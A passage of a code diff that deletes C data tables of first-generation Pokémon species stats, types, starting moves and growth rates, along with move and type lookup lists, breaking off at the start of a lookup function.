GROWTH_FAST}, - {"Wigglytuff", - &I_wigglytuff, - 0x65, - 0x8C, - 0x46, - 0x2D, - 0x2D, - 0x32, - {0x00, 0x00}, - {0x2F, 0x32, 0x6F, 0x03}, - GROWTH_FAST}, - {"Zubat", - &I_zubat, - 0x6B, - 0x28, - 0x2D, - 0x23, - 0x37, - 0x28, - {0x03, 0x02}, - {0x8D, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Golbat", - &I_golbat, - 0x82, - 0x4B, - 0x50, - 0x46, - 0x5A, - 0x4B, - {0x03, 0x02}, - {0x8D, 0x67, 0x2C, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Oddish", - &I_oddish, - 0xB9, - 0x2D, - 0x32, - 0x37, - 0x1E, - 0x4B, - {0x16, 0x03}, - {0x47, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Gloom", - &I_gloom, - 0xBA, - 0x3C, - 0x41, - 0x46, - 0x28, - 0x55, - {0x16, 0x03}, - {0x47, 0x4D, 0x4E, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Vileplume", - &I_vileplume, - 0xBB, - 0x4B, - 0x50, - 0x55, - 0x32, - 0x64, - {0x16, 0x03}, - {0x4E, 0x4F, 0x33, 0x50}, - GROWTH_MEDIUM_SLOW}, - {"Paras", - &I_paras, - 0x6D, - 0x23, - 0x46, - 0x37, - 0x19, - 0x37, - {0x07, 0x16}, - {0x0A, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Parasect", - &I_parasect, - 0x2E, - 0x3C, - 0x5F, - 0x50, - 0x1E, - 0x50, - {0x07, 0x16}, - {0x0A, 0x4E, 0x8D, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Venonat", - &I_venonat, - 0x41, - 0x3C, - 0x37, - 0x32, - 0x2D, - 0x28, - {0x07, 0x03}, - {0x21, 0x32, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Venomoth", - &I_venomoth, - 0x77, - 0x46, - 0x41, - 0x3C, - 0x5A, - 0x5A, - {0x07, 0x03}, - {0x21, 0x32, 0x4D, 0x8D}, - GROWTH_MEDIUM_FAST}, - {"Diglett", - &I_diglett, - 0x3B, - 0x0A, - 0x37, - 0x19, - 0x5F, - 0x2D, - {0x04, 0x04}, - {0x0A, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Dugtrio", - &I_dugtrio, - 0x76, - 0x23, - 0x50, - 0x32, - 0x78, - 0x46, - {0x04, 0x04}, - {0x0A, 0x2D, 0x5B, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Meowth", - &I_meowth, - 0x4D, - 0x28, - 0x2D, - 0x23, - 0x5A, - 0x28, - {0x00, 0x00}, - {0x0A, 0x2D, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Persian", - &I_persian, - 0x90, - 0x41, - 0x46, - 0x3C, - 0x73, - 0x41, - {0x00, 0x00}, - {0x0A, 0x2D, 0x2C, 0x67}, - GROWTH_MEDIUM_FAST}, - {"Psyduck", - &I_psyduck, - 0x2F, - 0x32, - 0x34, - 0x30, - 0x37, - 0x32, - {0x15, 0x15}, - {0x0A, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Golduck", - &I_golduck, - 0x80, - 0x50, - 0x52, - 0x4E, - 0x55, - 0x50, - {0x15, 0x15}, - {0x0A, 0x27, 0x32, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Mankey", - &I_mankey, - 0x39, - 0x28, - 0x50, - 0x23, - 0x46, - 0x23, - {0x01, 0x01}, - {0x0A, 0x2B, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Primeape", - &I_primeape, - 0x75, - 0x41, - 0x69, - 0x3C, - 0x5F, - 0x3C, - {0x01, 0x01}, - {0x0A, 0x2B, 0x02, 0x9A}, - GROWTH_MEDIUM_FAST}, - {"Growlithe", - &I_growlithe, - 0x21, - 0x37, - 0x46, - 0x2D, - 0x3C, - 0x32, - {0x14, 0x14}, - {0x2C, 0x2E, 0x00, 0x00}, - GROWTH_SLOW}, - {"Arcanine", - &I_arcanine, - 0x14, - 0x5A, - 0x6E, - 0x50, - 0x5F, - 0x50, - {0x14, 0x14}, - {0x2E, 0x34, 0x2B, 0x24}, - GROWTH_SLOW}, - {"Poliwag", - &I_poliwag, - 0x47, - 0x28, - 0x32, - 0x28, - 0x5A, - 0x28, - {0x15, 0x15}, - {0x91, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Poliwhirl", - &I_poliwhirl, - 0x6E, - 0x41, - 0x41, - 0x41, - 0x5A, - 0x32, - {0x15, 0x15}, - {0x91, 0x5F, 0x37, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Poliwrath", - &I_poliwrath, - 0x6F, - 0x5A, - 0x55, - 0x5F, - 0x46, - 0x46, - {0x15, 0x01}, - {0x5F, 0x37, 0x03, 0x22}, - GROWTH_MEDIUM_SLOW}, - {"Abra", - &I_abra, - 0x94, - 0x19, - 0x14, - 0x0F, - 0x5A, - 0x69, - {0x18, 0x18}, - {0x64, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Kadabra", - &I_kadabra, - 0x26, - 0x28, - 0x23, - 0x1E, - 0x69, - 0x78, - {0x18, 0x18}, - {0x64, 0x5D, 0x32, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Alakazam", - &I_alakazam, - 0x95, - 0x37, - 0x32, - 0x2D, - 0x78, - 0x87, - {0x18, 0x18}, - {0x64, 0x5D, 0x32, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Machop", - &I_machop, - 0x6A, - 0x46, - 0x50, - 0x32, - 0x23, - 0x23, - {0x01, 0x01}, - {0x02, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Machoke", - &I_machoke, - 0x29, - 0x50, - 0x64, - 0x46, - 0x2D, - 0x32, - {0x01, 0x01}, - {0x02, 0x43, 0x2B, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Machamp", - &I_machamp, - 0x7E, - 0x5A, - 0x82, - 0x50, - 0x37, - 0x41, - {0x01, 0x01}, - {0x02, 0x43, 0x2B, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Bellsprout", - &I_bellsprout, - 0xBC, - 0x32, - 0x4B, - 0x23, - 0x28, - 0x46, - {0x16, 0x03}, - {0x16, 0x4A, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Weepinbell", - &I_weepinbell, - 0xBD, - 0x41, - 0x5A, - 0x32, - 0x37, - 0x55, - {0x16, 0x03}, - {0x16, 0x4A, 0x23, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Victreebel", - &I_victreebel, - 0xBE, - 0x50, - 0x69, - 0x41, - 0x46, - 0x64, - {0x16, 0x03}, - {0x4F, 0x4E, 0x33, 0x4B}, - GROWTH_MEDIUM_SLOW}, - {"Tentacool", - &I_tentacool, - 0x18, - 0x28, - 0x28, - 0x23, - 0x46, - 0x64, - {0x15, 0x03}, - {0x33, 0x00, 0x00, 0x00}, - GROWTH_SLOW}, - {"Tentacruel", - &I_tentacruel, - 0x9B, - 0x50, - 0x46, - 0x41, - 0x64, - 0x78, - {0x15, 0x03}, - {0x33, 0x30, 0x23, 0x00}, - GROWTH_SLOW}, - {"Geodude", - &I_geodude, - 0xA9, - 0x28, - 0x50, - 0x64, - 0x14, - 0x1E, - {0x05, 0x04}, - {0x21, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Graveler", - &I_graveler, - 0x27, - 0x37, - 0x5F, - 0x73, - 0x23, - 0x2D, - {0x05, 0x04}, - {0x21, 0x6F, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Golem", - &I_golem, - 0x31, - 0x50, - 0x6E, - 0x82, - 0x2D, - 0x37, - {0x05, 0x04}, - {0x21, 0x6F, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Ponyta", - &I_ponyta, - 0xA3, - 0x32, - 0x55, - 0x37, - 0x5A, - 0x41, - {0x14, 0x14}, - {0x34, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Rapidash", - &I_rapidash, - 0xA4, - 0x41, - 0x64, - 0x46, - 0x69, - 0x50, - {0x14, 0x14}, - {0x34, 0x27, 0x17, 0x2D}, - GROWTH_MEDIUM_FAST}, - {"Slowpoke", - &I_slowpoke, - 0x25, - 0x5A, - 0x41, - 0x41, - 0x0F, - 0x28, - {0x15, 0x18}, - {0x5D, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Slowbro", - &I_slowbro, - 0x08, - 0x5F, - 0x4B, - 0x6E, - 0x1E, - 0x50, - {0x15, 0x18}, - {0x5D, 0x32, 0x1D, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Magnemite", - &I_magnemite, - 0xAD, - 0x19, - 0x23, - 0x46, - 0x2D, - 0x5F, - {0x17, 0x17}, - {0x21, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Magneton", - &I_magneton, - 0x36, - 0x32, - 0x3C, - 0x5F, - 0x46, - 0x78, - {0x17, 0x17}, - {0x21, 0x31, 0x54, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Farfetch'd", - &I_farfetchd, - 0x40, - 0x34, - 0x41, - 0x37, - 0x3C, - 0x3A, - {0x00, 0x02}, - {0x40, 0x1C, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Doduo", - &I_doduo, - 0x46, - 0x23, - 0x55, - 0x2D, - 0x4B, - 0x23, - {0x00, 0x02}, - {0x40, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Dodrio", - &I_dodrio, - 0x74, - 0x3C, - 0x6E, - 0x46, - 0x64, - 0x3C, - {0x00, 0x02}, - {0x40, 0x2D, 0x1F, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Seel", - &I_seel, - 0x3A, - 0x41, - 0x2D, - 0x37, - 0x2D, - 0x46, - {0x15, 0x15}, - {0x1D, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Dewgong", - &I_dewgong, - 0x78, - 0x5A, - 0x46, - 0x50, - 0x46, - 0x5F, - {0x15, 0x19}, - {0x1D, 0x2D, 0x3E, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Grimer", - &I_grimer, - 0x0D, - 0x50, - 0x50, - 0x32, - 0x19, - 0x28, - {0x03, 0x03}, - {0x01, 0x32, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Muk", - &I_muk, - 0x88, - 0x69, - 0x69, - 0x4B, - 0x32, - 0x41, - {0x03, 0x03}, - {0x01, 0x32, 0x8B, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Shellder", - &I_shellder, - 0x17, - 0x1E, - 0x41, - 0x64, - 0x28, - 0x2D, - {0x15, 0x15}, - {0x21, 0x6E, 0x00, 0x00}, - GROWTH_SLOW}, - {"Cloyster", - &I_cloyster, - 0x8B, - 0x32, - 0x5F, - 0xB4, - 0x46, - 0x55, - {0x15, 0x19}, - {0x6E, 0x30, 0x80, 0x3E}, - GROWTH_SLOW}, - {"Gastly", - &I_gastly, - 0x19, - 0x1E, - 0x23, - 0x1E, - 0x50, - 0x64, - {0x08, 0x03}, - {0x7A, 0x6D, 0x65, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Haunter", - &I_haunter, - 0x93, - 0x2D, - 0x32, - 0x2D, - 0x5F, - 0x73, - {0x08, 0x03}, - {0x7A, 0x6D, 0x65, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Gengar", - &I_gengar, - 0x0E, - 0x3C, - 0x41, - 0x3C, - 0x6E, - 0x82, - {0x08, 0x03}, - {0x7A, 0x6D, 0x65, 0x00}, - GROWTH_MEDIUM_SLOW}, - {"Onix", - &I_onix, - 0x22, - 0x23, - 0x2D, - 0xA0, - 0x46, - 0x1E, - {0x05, 0x04}, - {0x21, 0x67, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Drowzee", - &I_drowzee, - 0x30, - 0x3C, - 0x30, - 0x2D, - 0x2A, - 0x5A, - {0x18, 0x18}, - {0x01, 0x5F, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Hypno", - &I_hypno, - 0x81, - 0x55, - 0x49, - 0x46, - 0x43, - 0x73, - {0x18, 0x18}, - {0x01, 0x5F, 0x32, 0x5D}, - GROWTH_MEDIUM_FAST}, - {"Krabby", - &I_krabby, - 0x4E, - 0x1E, - 0x69, - 0x5A, - 0x32, - 0x19, - {0x15, 0x15}, - {0x91, 0x2B, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Kingler", - &I_kingler, - 0x8A, - 0x37, - 0x82, - 0x73, - 0x4B, - 0x32, - {0x15, 0x15}, - {0x91, 0x2B, 0x0B, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Voltorb", - &I_voltorb, - 0x06, - 0x28, - 0x1E, - 0x32, - 0x64, - 0x37, - {0x17, 0x17}, - {0x21, 0x67, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Electrode", - &I_electrode, - 0x8D, - 0x3C, - 0x32, - 0x46, - 0x8C, - 0x50, - {0x17, 0x17}, - {0x21, 0x67, 0x31, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Exeggcute", - &I_exeggcute, - 0x0C, - 0x3C, - 0x28, - 0x50, - 0x28, - 0x3C, - {0x16, 0x18}, - {0x8C, 0x5F, 0x00, 0x00}, - GROWTH_SLOW}, - {"Exeggutor", - &I_exeggutor, - 0x0A, - 0x5F, - 0x5F, - 0x55, - 0x37, - 0x7D, - {0x16, 0x18}, - {0x8C, 0x5F, 0x00, 0x00}, - GROWTH_SLOW}, - {"Cubone", - &I_cubone, - 0x11, - 0x32, - 0x32, - 0x5F, - 0x23, - 0x28, - {0x04, 0x04}, - {0x7D, 0x2D, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Marowak", - &I_marowak, - 0x91, - 0x3C, - 0x50, - 0x6E, - 0x2D, - 0x32, - {0x04, 0x04}, - {0x7D, 0x2D, 0x2B, 0x74}, - GROWTH_MEDIUM_FAST}, - {"Hitmonlee", - &I_hitmonlee, - 0x2B, - 0x32, - 0x78, - 0x35, - 0x57, - 0x23, - {0x01, 0x01}, - {0x18, 0x60, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Hitmonchan", - &I_hitmonchan, - 0x2C, - 0x32, - 0x69, - 0x4F, - 0x4C, - 0x23, - {0x01, 0x01}, - {0x04, 0x61, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Lickitung", - &I_lickitung, - 0x0B, - 0x5A, - 0x37, - 0x4B, - 0x1E, - 0x3C, - {0x00, 0x00}, - {0x23, 0x30, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Koffing", - &I_koffing, - 0x37, - 0x28, - 0x41, - 0x5F, - 0x23, - 0x3C, - {0x03, 0x03}, - {0x21, 0x7B, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Weezing", - &I_weezing, - 0x8F, - 0x41, - 0x5A, - 0x78, - 0x3C, - 0x55, - {0x03, 0x03}, - {0x21, 0x7B, 0x7C, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Rhyhorn", - &I_rhyhorn, - 0x12, - 0x50, - 0x55, - 0x5F, - 0x19, - 0x1E, - {0x04, 0x05}, - {0x1E, 0x00, 0x00, 0x00}, - GROWTH_SLOW}, - {"Rhydon", - &I_rhydon, - 0x01, - 0x69, - 0x82, - 0x78, - 0x28, - 0x2D, - {0x04, 0x05}, - {0x1E, 0x17, 0x27, 0x1F}, - GROWTH_SLOW}, - {"Chansey", - &I_chansey, - 0x28, - 0xFA, - 0x05, - 0x05, - 0x32, - 0x69, - {0x00, 0x00}, - {0x01, 0x03, 0x00, 0x00}, - GROWTH_FAST}, - {"Tangela", - &I_tangela, - 0x1E, - 0x41, - 0x37, - 0x73, - 0x3C, - 0x64, - {0x16, 0x16}, - {0x84, 0x14, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Kangaskhan", - &I_kangaskhan, - 0x02, - 0x69, - 0x5F, - 0x50, - 0x5A, - 0x28, - {0x00, 0x00}, - {0x04, 0x63, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Horsea", - &I_horsea, - 0x5C, - 0x1E, - 0x28, - 0x46, - 0x3C, - 0x46, - {0x15, 0x15}, - {0x91, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Seadra", - &I_seadra, - 0x5D, - 0x37, - 0x41, - 0x5F, - 0x55, - 0x5F, - {0x15, 0x15}, - {0x91, 0x6C, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Goldeen", - &I_goldeen, - 0x9D, - 0x2D, - 0x43, - 0x3C, - 0x3F, - 0x32, - {0x15, 0x15}, - {0x40, 0x27, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Seaking", - &I_seaking, - 0x9E, - 0x50, - 0x5C, - 0x41, - 0x44, - 0x50, - {0x15, 0x15}, - {0x40, 0x27, 0x30, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Staryu", - &I_staryu, - 0x1B, - 0x1E, - 0x2D, - 0x37, - 0x55, - 0x46, - {0x15, 0x15}, - {0x21, 0x00, 0x00, 0x00}, - GROWTH_SLOW}, - {"Starmie", - &I_starmie, - 0x98, - 0x3C, - 0x4B, - 0x55, - 0x73, - 0x64, - {0x15, 0x18}, - {0x21, 0x37, 0x6A, 0x00}, - GROWTH_SLOW}, - {"Mr.Mime", - &I_mr_mime, - 0x2A, - 0x28, - 0x2D, - 0x41, - 0x5A, - 0x64, - {0x18, 0x18}, - {0x5D, 0x70, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Scyther", - &I_scyther, - 0x1A, - 0x46, - 0x6E, - 0x50, - 0x69, - 0x37, - {0x07, 0x02}, - {0x62, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Jynx", - &I_jynx, - 0x48, - 0x41, - 0x32, - 0x23, - 0x5F, - 0x5F, - {0x19, 0x18}, - {0x01, 0x8E, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Electabuzz", - &I_electabuzz, - 0x35, - 0x41, - 0x53, - 0x39, - 0x69, - 0x55, - {0x17, 0x17}, - {0x62, 0x2B, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Magmar", - &I_magmar, - 0x33, - 0x41, - 0x5F, - 0x39, - 0x5D, - 0x55, - {0x14, 0x14}, - {0x34, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Pinsir", - &I_pinsir, - 0x1D, - 0x41, - 0x7D, - 0x64, - 0x55, - 0x37, - {0x07, 0x07}, - {0x0B, 0x00, 0x00, 0x00}, - GROWTH_SLOW}, - {"Tauros", - &I_tauros, - 0x3C, - 0x4B, - 0x64, - 0x5F, - 0x6E, - 0x46, - {0x00, 0x00}, - {0x21, 0x00, 0x00, 0x00}, - GROWTH_SLOW}, - {"Magikarp", - &I_magikarp, - 0x85, - 0x14, - 0x0A, - 0x37, - 0x50, - 0x14, - {0x15, 0x15}, - {0x96, 0x00, 0x00, 0x00}, - GROWTH_SLOW}, - {"Gyarados", - &I_gyarados, - 0x16, - 0x5F, - 0x7D, - 0x4F, - 0x51, - 0x64, - {0x15, 0x02}, - {0x2C, 0x52, 0x2B, 0x38}, - GROWTH_SLOW}, - {"Lapras", - &I_lapras, - 0x13, - 0x82, - 0x55, - 0x50, - 0x3C, - 0x5F, - {0x15, 0x19}, - {0x37, 0x2D, 0x00, 0x00}, - GROWTH_SLOW}, - {"Ditto", - &I_ditto, - 0x4C, - 0x30, - 0x30, - 0x30, - 0x30, - 0x30, - {0x00, 0x00}, - {0x90, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Eevee", - &I_eevee, - 0x66, - 0x37, - 0x37, - 0x32, - 0x37, - 0x41, - {0x00, 0x00}, - {0x21, 0x1C, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Vaporeon", - &I_vaporeon, - 0x69, - 0x82, - 0x41, - 0x3C, - 0x41, - 0x6E, - {0x15, 0x15}, - {0x21, 0x1C, 0x62, 0x37}, - GROWTH_MEDIUM_FAST}, - {"Jolteon", - &I_jolteon, - 0x68, - 0x41, - 0x41, - 0x3C, - 0x82, - 0x6E, - {0x17, 0x17}, - {0x21, 0x1C, 0x62, 0x54}, - GROWTH_MEDIUM_FAST}, - {"Flareon", - &I_flareon, - 0x67, - 0x41, - 0x82, - 0x3C, - 0x41, - 0x6E, - {0x14, 0x14}, - {0x21, 0x1C, 0x62, 0x34}, - GROWTH_MEDIUM_FAST}, - {"Porygon", - &I_porygon, - 0xAA, - 0x41, - 0x3C, - 0x46, - 0x28, - 0x4B, - {0x00, 0x00}, - {0x21, 0x9F, 0xA0, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Omanyte", - &I_omanyte, - 0x62, - 0x23, - 0x28, - 0x64, - 0x23, - 0x5A, - {0x05, 0x15}, - {0x37, 0x6E, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Omastar", - &I_omastar, - 0x63, - 0x46, - 0x3C, - 0x7D, - 0x37, - 0x73, - {0x05, 0x15}, - {0x37, 0x6E, 0x1E, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Kabuto", - &I_kabuto, - 0x5A, - 0x1E, - 0x50, - 0x5A, - 0x37, - 0x2D, - {0x05, 0x15}, - {0x0A, 0x6A, 0x00, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Kabutops", - &I_kabutops, - 0x5B, - 0x3C, - 0x73, - 0x69, - 0x50, - 0x46, - {0x05, 0x15}, - {0x0A, 0x6A, 0x47, 0x00}, - GROWTH_MEDIUM_FAST}, - {"Aerodactyl", - &I_aerodactyl, - 0xAB, - 0x50, - 0x69, - 0x41, - 0x82, - 0x3C, - {0x05, 0x02}, - {0x11, 0x61, 0x00, 0x00}, - GROWTH_SLOW}, - {"Snorlax", - &I_snorlax, - 0x84, - 0xA0, - 0x6E, - 0x41, - 0x1E, - 0x41, - {0x00, 0x00}, - {0x1D, 0x85, 0x9C, 0x00}, - GROWTH_SLOW}, - {"Articuno", - &I_articuno, - 0x4A, - 0x5A, - 0x55, - 0x64, - 0x55, - 0x7D, - {0x19, 0x02}, - {0x40, 0x3A, 0x00, 0x00}, - GROWTH_SLOW}, - {"Zapdos", - &I_zapdos, - 0x4B, - 0x5A, - 0x5A, - 0x55, - 0x64, - 0x7D, - {0x17, 0x02}, - {0x54, 0x41, 0x00, 0x00}, - GROWTH_SLOW}, - {"Moltres", - &I_moltres, - 0x49, - 0x5A, - 0x64, - 0x5A, - 0x5A, - 0x7D, - {0x14, 0x02}, - {0x40, 0x53, 0x00, 0x00}, - GROWTH_SLOW}, - {"Dratini", - &I_dratini, - 0x58, - 0x29, - 0x40, - 0x2D, - 0x32, - 0x32, - {0x1A, 0x1A}, - {0x23, 0x2B, 0x00, 0x00}, - GROWTH_SLOW}, - {"Dragonair", - &I_dragonair, - 0x59, - 0x3D, - 0x54, - 0x41, - 0x46, - 0x46, - {0x1A, 0x1A}, - {0x23, 0x2B, 0x56, 0x00}, - GROWTH_SLOW}, - {"Dragonite", - &I_dragonite, - 0x42, - 0x5B, - 0x86, - 0x5F, - 0x50, - 0x64, - {0x1A, 0x02}, - {0x23, 0x2B, 0x56, 0x61}, - GROWTH_SLOW}, - {"Mewtwo", - &I_mewtwo, - 0x83, - 0x6A, - 0x6E, - 0x5A, - 0x82, - 0x9A, - {0x18, 0x18}, - {0x5D, 0x32, 0x81, 0x5E}, - GROWTH_SLOW}, - {"Mew", - &I_mew, - 0x15, - 0x64, - 0x64, - 0x64, - 0x64, - 0x64, - {0x18, 0x18}, - {0x01, 0x00, 0x00, 0x00}, - GROWTH_MEDIUM_SLOW}, - {}, -}; - -const NamedList move_list[] = { - {"No Move", 0x00}, - {"Absorb", 0x47}, - {"Acid Armor", 0x97}, - {"Acid", 0x33}, - {"Agility", 0x61}, - {"Amnesia", 0x85}, - {"Aurora Beam", 0x3E}, - {"Barrage", 0x8C}, - {"Barrier", 0x70}, - {"Bide", 0x75}, - {"Bind", 0x14}, - {"Bite", 0x2C}, - {"Blizzard", 0x3B}, - {"Body Slam", 0x22}, - {"Bone Club", 0x7D}, - {"Boomerang", 0x9B}, - {"Bubblebeam", 0x3D}, - {"Bubble", 0x91}, - {"Clamp", 0x80}, - {"Comet Punch", 0x04}, - {"Confuse Ray", 0x6D}, - {"Confusion", 0x5D}, - {"Constrict", 0x84}, - {"Conversion", 0xA0}, - {"Counter", 0x44}, - {"Crabhammer", 0x98}, - {"Cut", 0x0F}, - {"Defense Curl", 0x6F}, - {"Dig", 0x5B}, - {"Disable", 0x32}, - {"Dizzy Punch", 0x92}, - {"Doubleslap", 0x03}, - {"Double Kick", 0x18}, - {"Double Team", 0x68}, - {"Double-Edge", 0x26}, - {"Dragon Rage", 0x52}, - {"Dream Eater", 0x8A}, - {"Drill Peck", 0x41}, - {"Earthquake", 0x59}, - {"Egg Bomb", 0x79}, - {"Ember", 0x34}, - {"Explosion", 0x99}, - {"Fire Blast", 0x7E}, - {"Fire Punch", 0x07}, - {"Fire Spin", 0x53}, - {"Fissure", 0x5A}, - {"Flamethrower", 0x35}, - {"Flash", 0x94}, - {"Fly", 0x13}, - {"Focus Energy", 0x74}, - {"Fury Attack", 0x1F}, - {"Fury Swipes", 0x9A}, - {"Glare", 0x89}, - {"Growl", 0x2D}, - {"Growth", 0x4A}, - {"Guillotine", 0x0C}, - {"Gust", 0x10}, - {"Harden", 0x6A}, - {"Haze", 0x72}, - {"Headbutt", 0x1D}, - {"Hi Jump Kick", 0x88}, - {"Horn Attack", 0x1E}, - {"Horn Drill", 0x20}, - {"Hydro Pump", 0x38}, - {"Hyper Beam", 0x3F}, - {"Hyper Fang", 0x9E}, - {"Hypnosis", 0x5F}, - {"Ice Beam", 0x3A}, - {"Ice Punch", 0x08}, - {"Jump Kick", 0x1A}, - {"Karate Chop", 0x02}, - {"Kinesis", 0x86}, - {"Leech Life", 0x8D}, - {"Leech Seed", 0x49}, - {"Leer", 0x2B}, - {"Lick", 0x7A}, - {"Light Screen", 0x71}, - {"Lovely Kiss", 0x8E}, - {"Low Kick", 0x43}, - {"Meditate", 0x60}, - {"Mega Drain", 0x48}, - {"Mega Kick", 0x19}, - {"Mega Punch", 0x05}, - {"Metronome", 0x76}, - {"Mimic", 0x66}, - {"Minimize", 0x6B}, - {"Mirror Move", 0x77}, - {"Mist", 0x36}, - {"Night Shade", 0x65}, - {"Pay Day", 0x06}, - {"Peck", 0x40}, - {"Petal Dance", 0x50}, - {"Pin Missile", 0x2A}, - {"Poisonpowder", 0x4D}, - {"Poison Gas", 0x8B}, - {"Poison Sting", 0x28}, - {"Pound", 0x01}, - {"Psybeam", 0x3C}, - {"Psychic", 0x5E}, - {"Psywave", 0x95}, - {"Quick Attack", 0x62}, - {"Rage", 0x63}, - {"Razor Leaf", 0x4B}, - {"Razor Wind", 0x0D}, - {"Recover", 0x69}, - {"Reflect", 0x73}, - {"Rest", 0x9C}, - {"Roar", 0x2E}, - {"Rock Slide", 0x9D}, - {"Rock Throw", 0x58}, - {"Rolling Kick", 0x1B}, - {"Sand Attack", 0x1C}, - {"Scratch", 0x0A}, - {"Screech", 0x67}, - {"Seismic Toss", 0x45}, - {"Selfdestruct", 0x78}, - {"Sharpen", 0x9F}, - {"Sing", 0x2F}, - {"Skull Bash", 0x82}, - {"Sky Attack", 0x8F}, - {"Slam", 0x15}, - {"Slash", 0xA3}, - {"Sleep Powder", 0x4F}, - {"Sludge", 0x7C}, - {"Smog", 0x7B}, - {"Smokescreen", 0x6C}, - {"Softboiled", 0x87}, - {"Solar Beam", 0x4C}, - {"Sonicboom", 0x31}, - {"Spike Cannon", 0x83}, - {"Splash", 0x96}, - {"Spore", 0x93}, - {"Stomp", 0x17}, - {"Strength", 0x46}, - {"String Shot", 0x51}, - {"Struggle", 0xA5}, - {"Stun Spore", 0x4E}, - {"Submission", 0x42}, - {"Substitute", 0xA4}, - {"Supersonic", 0x30}, - {"Super Fang", 0xA2}, - {"Surf", 0x39}, - {"Swift", 0x81}, - {"Swords Dance", 0x0E}, - {"Tackle", 0x21}, - {"Tail Whip", 0x27}, - {"Take Down", 0x24}, - {"Teleport", 0x64}, - {"Thrash", 0x25}, - {"Thunderbolt", 0x55}, - {"Thunderpunch", 0x09}, - {"Thundershock", 0x54}, - {"Thunder Wave", 0x56}, - {"Thunder", 0x57}, - {"Toxic", 0x5C}, - {"Transform", 0x90}, - {"Tri Attack", 0xA1}, - {"Twineedle", 0x29}, - {"Vicegrip", 0x0B}, - {"Vine Whip", 0x16}, - {"Waterfall", 0x7F}, - {"Water Gun", 0x37}, - {"Whirlwind", 0x12}, - {"Wing Attack", 0x11}, - {"Withdraw", 0x6E}, - {"Wrap", 0x23}, - {}, -}; - -const NamedList type_list[] = { - {"Bug", 0x07}, - {"Dragon", 0x1A}, - {"Electric", 0x17}, - {"Fighting", 0x01}, - {"Fire", 0x14}, - {"Flying", 0x02}, - {"Ghost", 0x08}, - {"Grass", 0x16}, - {"Ground", 0x04}, - {"Ice", 0x19}, - {"Normal", 0x00}, - {"Poison", 0x03}, - {"Psychic", 0x18}, - {"Rock", 0x05}, - {"Water", 0x15}, - {}, -}; - -int pokemon_table_get_num_from_index(const PokemonTable* table, uint8_t index) { - int i; - - for(i = 0;; i++) { - if(table[i].index == index) return i; - if(table[i].name 